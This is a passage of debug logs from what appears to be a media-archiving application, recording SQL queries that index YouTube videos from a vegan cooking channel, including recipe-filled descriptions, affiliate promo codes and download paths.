GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan", "What I Eat in a Day | Crunchwrap and Dan Dan Noodles Vegan Recipes", 1, nil, false, "crTRtJyi2OI", "https://www.youtube.com/watch?v=crTRtJyi2OI", "/downloads/downloads/alec/Steamy Vegan/2024-08-31 What I Eat in a Day | Crunchwrap and Dan Dan Noodles Vegan Recipes/What I Eat in a Day | Crunchwrap and Dan Dan Noodles Vegan Recipes [crTRtJyi2OI].NA", false, ~U[2024-08-31 00:00:00Z]] 20:31:07.277 [debug] QUERY OK source="sources" db=0.5ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.279 [debug] QUERY OK source="media_items" db=1.6ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-28 00:00:00Z], 1] 20:31:07.281 [debug] QUERY OK source="media_items" db=1.5ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day as a vegan! I'm showing you some healthy vegan recipes AND my new fave vegan dessert 🤤 Mostly whole food plant based meals that were high-protein and gluten-free! \n\nWatch my latest meal prep video ➡️ \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0|\u00A0Eas...\u00A0\u00A0\nWatch my entire 'what I eat in a day' playlist ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nBlueberry Rhubarb Crumble\nFruit Filling:\n2 cups frozen or fresh blueberries (thawed if frozen)\n3 stalks rhubarb, cubed\n⅓ cup date syrup or maple syrup\n⅓ granulated sweetener (sugar, coconut sugar, monk fruit & erythritol blend)\n1 tbsp cornstarch\n1 tsp vanilla extract\nZest of half a lemon\ngenerous pinch of salt\n\nCrumble Topping:\n¾ cup rolled oats\n¼ cup + 2 tbsp oat flour \n½ cup almond flour\n¼ cup + 2 tbsp nut/seed butter (sunbutter, cashew, almond)\nOR sub nut butter for vegan butter if you want a crispier crumble\n¼ cup + 2 tbsp coconut sugar\n½ tsp cinnamon\n¼ tsp nutmeg\n¼ tsp cardamom (optional)\n¼ tsp salt \n\n1. Preheat your oven to 350°F and have a large casserole or baking dish ready to use.\n2. To a casserole or baking dish, add all the fruit filling ingredients. Fold all the ingredients together until each piece of fruit has been coated and no dry lumps of starch remain. Smooth into an even layer. Set aside while you make the crumble topping.\n3. To a food processor or blender add the almond flour, oat flour, coconut sugar, spices and salt and nut butter. Blitz a few times until the mixture is blended and resembles clumpy sand. Add the rolled oats and pulse a few times just until the oats are mixed in but not pulverized into a flour.\n5. Pour the crumble topping over the fruit mixture and smooth it out into an even layer. Bake in the oven for 35 to 40 minutes until the crumble topping is golden and the fruit layer begins to bubble up slightly through the cracks.\n6. Remove from the oven and let it rest for 10 to 15 minutes before serving. Enjoy with a dollop of plant based yogurt or ice cream and ENJOY!\n\n\nPromo codes & discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat In a Day! Healthy vegan recipes and my new fave vegan dessert", "7c393ebd-c168-4bbb-997b-755983677d35", 1, [], false, "kQ2feJCTx6w", "https://www.youtube.com/watch?v=kQ2feJCTx6w", 164, "/downloads/downloads/alec/Steamy Vegan/2024-08-28 What I Eat In a Day! Healthy vegan recipes and my new fave vegan dessert/What I Eat In a Day! Healthy vegan recipes and my new fave vegan dessert [kQ2feJCTx6w].NA", false, false, false, 1, ~U[2024-08-28 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "What I eat in a day as a vegan! I'm showing you some healthy vegan recipes AND my new fave vegan dessert 🤤 Mostly whole food plant based meals that were high-protein and gluten-free! \n\nWatch my latest meal prep video ➡️ \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0|\u00A0Eas...\u00A0\u00A0\nWatch my entire 'what I eat in a day' playlist ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nBlueberry Rhubarb Crumble\nFruit Filling:\n2 cups frozen or fresh blueberries (thawed if frozen)\n3 stalks rhubarb, cubed\n⅓ cup date syrup or maple syrup\n⅓ granulated sweetener (sugar, coconut sugar, monk fruit & erythritol blend)\n1 tbsp cornstarch\n1 tsp vanilla extract\nZest of half a lemon\ngenerous pinch of salt\n\nCrumble Topping:\n¾ cup rolled oats\n¼ cup + 2 tbsp oat flour \n½ cup almond flour\n¼ cup + 2 tbsp nut/seed butter (sunbutter, cashew, almond)\nOR sub nut butter for vegan butter if you want a crispier crumble\n¼ cup + 2 tbsp coconut sugar\n½ tsp cinnamon\n¼ tsp nutmeg\n¼ tsp cardamom (optional)\n¼ tsp salt \n\n1. Preheat your oven to 350°F and have a large casserole or baking dish ready to use.\n2. To a casserole or baking dish, add all the fruit filling ingredients. Fold all the ingredients together until each piece of fruit has been coated and no dry lumps of starch remain. Smooth into an even layer. Set aside while you make the crumble topping.\n3. To a food processor or blender add the almond flour, oat flour, coconut sugar, spices and salt and nut butter. Blitz a few times until the mixture is blended and resembles clumpy sand. Add the rolled oats and pulse a few times just until the oats are mixed in but not pulverized into a flour.\n5. Pour the crumble topping over the fruit mixture and smooth it out into an even layer. Bake in the oven for 35 to 40 minutes until the crumble topping is golden and the fruit layer begins to bubble up slightly through the cracks.\n6. Remove from the oven and let it rest for 10 to 15 minutes before serving. Enjoy with a dollop of plant based yogurt or ice cream and ENJOY!\n\n\nPromo codes & discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks. (truncated) 20:31:07.282 [debug] QUERY OK source="sources" db=0.6ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.285 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-25 00:00:00Z], 1] 20:31:07.290 [debug] QUERY OK source="media_items" db=4.9ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Healthy high-protein vegan meal prep for lunches! These easy and packable vegan recipes are perfect for back to school lunches or for work!\n\n\nWATCH MY OTHER MEAL PREP VIDEOS ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nThis meal prep takes 2 to 2½ hours\n\n*ORDER OF PREP: I started with what takes the longest to cook and the components I needed for several other recipes*\n1. Cook 1 cup of quinoa\n2. Wash all veggies: \n3. Rinse, dry, roast chickpeas; chop veg & roast them\n4. Prep sesame tofu then air fry\n5. Make grain bowl dressing\n6. Combine & store quinoa, roasted veg, pepitas, cranberries, red onion; top with/store the chickpeas, tofu, other toppings\n7. Prep remaining ingredients for chili, make chili\n8. Combine all ingredients in food processor for whipped butter beans\n\n*SHOPPING LIST*\n2 blocks firm/extra firm tofu\nvegan parm or mozza\ntahini\n4 cans of beans of choice\n2 cans butter beans\n1 can chickpeas\nred split lentils\nchipotle peppers in adobo\nveggie broth\n28 oz can crushed tom.\nchopped walnuts, pepitas\ncocoa powder, cumin\ndried sage or other herbs\ndried cranberries\nquinoa\n2 green bell peppers\n1 yellow onion\n1 red onion\ngarlic cloves\n1 large sweet potato\n2 zucchinis\n1 lemon\nfresh parsley or herbs\n\n\n*RECIPES*\n\n*FOUR BEAN CHILI*\n~5 to 6 cups canned/cooked beans: Black Beans, Chickpeas, Kidney Beans, Lupini Beans\n1 cup dry red lentils, rinsed\n2 to 3 chipotle peppers in adobo, minced\n4 cups hot veggie broth\n1 can crushed tomatoes\n2 large green peppers, roughly chopped\n1 medium onion, chopped\n½ cup chopped walnuts\n4 cloves garlic, minced\n2 tbsp cocoa powder\n1 tbsp cumin\n1 tsp salt, ground black pepper to taste\n\n1. Warm 1 tbsp oil or ¼ cup water in a large stockpot and saute the onion for 2 to 3 minutes, until becoming translucent and fragrant.\n2. Add the minced chipotle pepper, garlic, walnuts, cocoa powder and cumin and stir to combine. Let spices and aromatics toast for 1 minute.\n3. Add all the remaining ingredients and stir very well to combine. Cover, bring to a boil then reduce heat to medium, cooking for 20 minutes.\n4. Serve over rice (optional) and garnish with vegan sour cream, avocado, lime juice and fresh chopped cilantro and enjoy!\n\n*SWEET POTATO GRAIN BOWL*\n1 large sweet potato, cubed in 1” pieces\n2 blocks extra firm tofu\n1 cup dry quinoa, cooked (yields 3 cups)\n2 cups (1 can) chickpeas, drained and rinsed\n2 medium zucchinis, diced into half coins\n2½ tbsp oil\n2 tbsp fresh lemon juice\n2 garlic cloves, grated\n½ tsp sea salt\nFreshly ground black pepper\nRed pepper flakes\n⅓ cup dried cranberries\n½ cup roasted pumpkin seeds\n⅓ cup pickled red onions\n½ cup finely chopped fresh parsley\n2 oz vegan feta or parmesan cheese\n\n1. Preheat the oven to 425°F and line a baking sheet with parchment paper. Spread the chickpeas on a kitchen towel and pat them dry. Transfer to the baking sheet and toss them with a drizzle of oil, salt and pepper.\n2. On a separate baking sheet, spread the diced sweet potatoes and zucchinis and toss in a drizzle of oil with pinches of salt and pepper. Roast the chickpeas for 20 to 30 minutes, or until golden brown and crisp, and the sweet potatoes and zucchinis for 30 minutes until fork tender with golden, crisped edges\n3. Combine sesame oil, soy sauce, rice vinegar and coconut sugar in small bowl. Cut tofu into half inch cubes, transfer to large mixing bowl. Pour over marinade, gently toss to combine, let sit 5 mins, tossing every few mins. Sprinkle cornstarch, nutritional yeast, sesame seeds, gently toss to combine. Transfer to air fryer basket, air fry 22 mins 425F.\n4. In a large mixing bowl, whisk together the 2½ tbsp oil, lemon juice, garlic, salt, several grinds of pepper, and a pinch of red pepper flakes. Add the cooked quinoa, sweet potatoes, zucchinis, dried cranberries, and parsley, and toss well to combine\n5. Divide the salad among bowls (or into individual containers), and top with the roasted chickpeas, pecans, pickled onions, and vegan parm, if using.\n\n\n*WHIPPED BUTTER BEANS*\nEat on toast, in a sandwich, dip with veggies, on crackers, etc\n\n2 cups soaked and cooked (or canned) butter beans\n1 tbsp ne" <> ..., "Healthy High Protein Vegan Meal Prep | Easy and Packable Vegan Recipes", "6e215c37-9322-49de-8e91-54c436a7bdfb", 1, [], false, "6JkpycK_MIM", "https://www.youtube.com/watch?v=6JkpycK_MIM", 165, "/downloads/downloads/alec/Steamy Vegan/2024-08-25 Healthy High Protein Vegan Meal Prep | Easy and Packable Vegan Recipes/Healthy High Protein Vegan Meal Prep | Easy and Packable Vegan Recipes [6JkpycK_MIM].NA", false, false, false, 1, ~U[2024-08-25 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Healthy high-protein vegan meal prep for lunches! These easy and packable vegan recipes are perfect for back to school lunches or for work!\n\n\nWATCH MY OTHER MEAL PREP VIDEOS ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nThis meal prep takes 2 to 2½ hours\n\n*ORDER OF PREP: I started with what takes the longest to cook and the components I needed for several other recipes*\n1. Cook 1 cup of quinoa\n2. Wash all veggies: \n3. Rinse, dry, roast chickpeas; chop veg & roast them\n4. Prep sesame tofu then air fry\n5. Make grain bowl dressing\n6. Combine & store quinoa, roasted veg, pepitas, cranberries, red onion; top with/store the chickpeas, tofu, other toppings\n7. Prep remaining ingredients for chili, make chili\n8. Combine all ingredients in food processor for whipped butter beans\n\n*SHOPPING LIST*\n2 blocks firm/extra firm tofu\nvegan parm or mozza\ntahini\n4 cans of beans of choice\n2 cans butter beans\n1 can chickpeas\nred split lentils\nchipotle peppers in adobo\nveggie broth\n28 oz can crushed tom.\nchopped walnuts, pepitas\ncocoa powder, cumin\ndried sage or other herbs\ndried cranberries\nquinoa\n2 green bell peppers\n1 yellow onion\n1 red onion\ngarlic cloves\n1 large sweet potato\n2 zucchinis\n1 lemon\nfresh parsley or herbs\n\n\n*RECIPES*\n\n*FOUR BEAN CHILI*\n~5 to 6 cups canned/cooked beans: Black Beans, Chickpeas, Kidney Beans, Lupini Beans\n1 cup dry red lentils, rinsed\n2 to 3 chipotle peppers in adobo, minced\n4 cups hot veggie broth\n1 can crushed tomatoes\n2 large green peppers, roughly chopped\n1 medium onion, chopped\n½ cup chopped walnuts\n4 cloves garlic, minced\n2 tbsp cocoa powder\n1 tbsp cumin\n1 tsp salt, ground black pepper to taste\n\n1. Warm 1 tbsp oil or ¼ cup water in a large stockpot and saute the onion for 2 to 3 minutes, until becoming translucent and fragrant.\n2. Add the minced chipotle pepper, garlic, walnuts, cocoa powder and cumin and stir to combine. Let spices and aromatics toast for 1 minute.\n3. Add all the remaining ingredients and stir very well to combine. Cover, bring to a boil then reduce heat to medium, cooking for 20 minutes.\n4. Serve over rice (optional) and garnish with vegan sour cream, avocado, lime juice and fresh chopped cilantro and enjoy!\n\n*SWEET POTATO GRAIN BOWL*\n1 large sweet potato, cubed in 1” pieces\n2 blocks extra firm tofu\n1 cup dry quinoa, cooked (yields 3 cups)\n2 cups (1 can) chickpeas, drained and rinsed\n2 medium zucchinis, diced into half coins\n2½ tbsp oil\n2 tbsp fresh lemon juice\n2 garlic cloves, grated\n½ tsp sea salt\nFreshly ground black pepper\ (truncated) 20:31:07.292 [debug] QUERY OK source="sources" db=1.3ms idle=11.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.294 [debug] QUERY OK source="media_items" db=1.8ms idle=11.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-22 00:00:00Z], 1] 20:31:07.296 [debug] QUERY OK source="media_items" db=1.1ms idle=13.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My latest healthy vegan grocery haul to show you all! Mostly high protein, whole food plant based and gluten-free foods for healthy meal prep 😁 \n\nTotal Spent = $130 USD 🇺🇸 / $180 CAD 🇨🇦\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...", "Healthy Vegan Grocery Haul | High Protein and Gluten Free!", "c2fdd6d3-e0f0-47da-b595-0a70f462ebb5", 1, [], false, "ibUFIWq-b1c", "https://www.youtube.com/watch?v=ibUFIWq-b1c", 166, "/downloads/downloads/alec/Steamy Vegan/2024-08-22 Healthy Vegan Grocery Haul | High Protein and Gluten Free!/Healthy Vegan Grocery Haul | High Protein and Gluten Free! [ibUFIWq-b1c].NA", false, false, false, 1, ~U[2024-08-22 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "My latest healthy vegan grocery haul to show you all! Mostly high protein, whole food plant based and gluten-free foods for healthy meal prep 😁 \n\nTotal Spent = $130 USD 🇺🇸 / $180 CAD 🇨🇦\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...", "Healthy Vegan Grocery Haul | High Protein and Gluten Free!", 1, nil, false, "ibUFIWq-b1c", "https://www.youtube.com/watch?v=ibUFIWq-b1c", "/downloads/downloads/alec/Steamy Vegan/2024-08-22 Healthy Vegan Grocery Haul | High Protein and Gluten Free!/Healthy Vegan Grocery Haul | High Protein and Gluten Free! [ibUFIWq-b1c].NA", false, ~U[2024-08-22 00:00:00Z]] 20:31:07.297 [debug] QUERY OK source="sources" db=0.5ms idle=11.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.300 [debug] QUERY OK source="media_items" db=2.2ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-17 00:00:00Z], 1] 20:31:07.302 [debug] QUERY OK source="media_items" db=1.5ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The most in-depth review of the top mushroom coffee brands on YouTube! Have you tried Four Sigmatic, Ryze, Eightbillion or Mud/Wtr? What are your thoughts on mushroom coffee?\n\n✅ In this video, I review their ingredients, flavour, mixability, and talk about the benefits I experienced over 7 months of consistently drinking mushroom coffee every day. Let me know if you have any questions at all about any of them!\n\n🚨 DISCOUNT CODES - I reached out to each of these companies after this review requesting affiliate discount codes and was provided discounts for JostArriba and MudWtr and ignored by Ryze and Four SIgmatic. If you decide to use these codes, you get a discount and I receive a small affiliate commission which helps me pay for more products for reviews like this. \n\n🍄JostArriba by Eightbillion\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n🍄 Mud/Wtr: Save 15% off your first purchase OR $20 plus 15% off when you purchase a starter kit and subscribe\nLink: mudwtr.com/STEAMYVEGAN\n\nFour Sigmatic/Ryze - No discount codes provided by these companies\n\n🚨 UPDATE: Since posting this review video, I have become a brand ambassador for Eightbillion. I was not an ambassador at the time of filming this review, and all my opinions on each brand reviewed are MY OWN, and remain the same. The JostArriba mushroom coffee from Eightbillion has become a part of my daily routine that makes me feel my best and I continue to stand by my opinions of each brand in this video. \n\n\nIf you love vegan and gluten-free recipes, grocery hauls, and product reviews like this video then don't forget to subscribe, it makes a huge difference in growing this channel!\n\nCheck out more of my review and taste test videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0REVIEWS\u00A0AND\u00A0TASTE\u00A0TESTS\u00A0🤔\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Mushroom Coffee In-Depth Review....Four Sigmatic, Ryze, Eightbillion, and MudWtr", "711a7bb4-935b-46a3-a463-dd9cf532e859", 1, [], false, "lTms3pPSEFk", "https://www.youtube.com/watch?v=lTms3pPSEFk", 167, "/downloads/downloads/alec/Steamy Vegan/2024-08-17 Mushroom Coffee In-Depth Review....Four Sigmatic, Ryze, Eightbillion, and MudWtr/Mushroom Coffee In-Depth Review....Four Sigmatic, Ryze, Eightbillion, and MudWtr [lTms3pPSEFk].NA", false, false, false, 1, ~U[2024-08-17 00:00:00Z], ~U[2026-03-22 03:31:07Z], 